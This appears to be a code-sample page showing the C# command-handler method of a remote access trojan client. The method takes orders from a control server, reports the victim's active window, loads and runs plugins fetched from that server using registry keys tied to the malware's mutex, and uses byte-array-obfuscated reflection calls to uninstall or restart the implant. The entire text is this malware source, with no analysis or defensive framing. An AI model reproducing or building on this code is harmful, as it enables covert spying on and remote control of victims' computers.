Exemple #1
0
 public void Handler(byte[] packet)  //Receive Data from Server
 {
     try
     {
         string   KEY  = Config.key;
         string[] data = Strings.Split(StringConverter.BytestoString(packet), KEY, -1, CompareMethod.Text);
         if (data[0] == "PNC")
         {
             Config.stopwatch.Reset();
             Config.stopwatch.Start();
             Client.TcpSend("PNC");
         }
         else if (data[0] == "P")
         {
             Config.stopwatch.Stop();
             Client.TcpSend("P" + KEY + Config.stopwatch.ElapsedMilliseconds);
             Client.TcpSend("W" + KEY + IdGenerator.GetActiveWindow());
         }
         else if (data[0] == "IE") //Ask about plugin
         {
             if ((Registry.CurrentUser.OpenSubKey("Software\\" + StringConverter.Encode(Config.currentMutex) + "\\" + data[1], true) != null))
             {
                 try
                 {
                     Invoke(Config.host, Config.port, data[4], data[5], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\" + StringConverter.Encode(Config.currentMutex) + @"\\" + data[1], data[1], null).ToString(), int.Parse(data[2]), Convert.ToBoolean(data[3]), data[1], true);
                 }
                 catch
                 {
                     Client.TcpSend("GPL" + KEY + data[5] + KEY + data[1] + KEY + "false");
                 }
             }
             else
             {
                 Client.TcpSend("GPL" + KEY + data[5] + KEY + data[1] + KEY + "false");
             }
         }
         else if (data[0] == "LP") //invoke plugin
         {
             Invoke(Config.host, Config.port, data[1], data[2], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), data[3], int.Parse(data[4]), Convert.ToBoolean(data[5]), data[6], Convert.ToBoolean(data[7]));
         }
         else if (data[0] == "UNV") //uninstall - restart - close .. etc
         {
             object ar  = Interaction.CallByName(GetAssembly(data[1]), Encoding.Default.GetString(new byte[] { 71, 101, 116, 84, 121, 112, 101 }), CallType.Method, data[2]);
             object enn = Interaction.CallByName(ar, Encoding.Default.GetString(new byte[] { 71, 101, 116, 77, 101, 116, 104, 111, 100 }), CallType.Method, Encoding.Default.GetString(new byte[] { 85, 78, 73 }));
             object inn = Interaction.CallByName(enn, Encoding.Default.GetString(new byte[] { 73, 110, 118, 111, 107, 101 }), CallType.Method, null, new object[] { StringConverter.Encode(Config.currentMutex), data[3], null, null, null, null, null, null, null, null,
                                                                                                                                                                    null, null, null, null, null, null, null, null, null, null,
                                                                                                                                                                    null, null, null, null, null, null, null, null, null, null,
                                                                                                                                                                    null, null, data[4], data[5], Application.ExecutablePath, data[6], data[7], data[8], data[9], data[10],
                                                                                                                                                                    data[11], data[12], data[13] });
         }
     }
     catch
     {
         //Client.isConnected = false;
     }
 }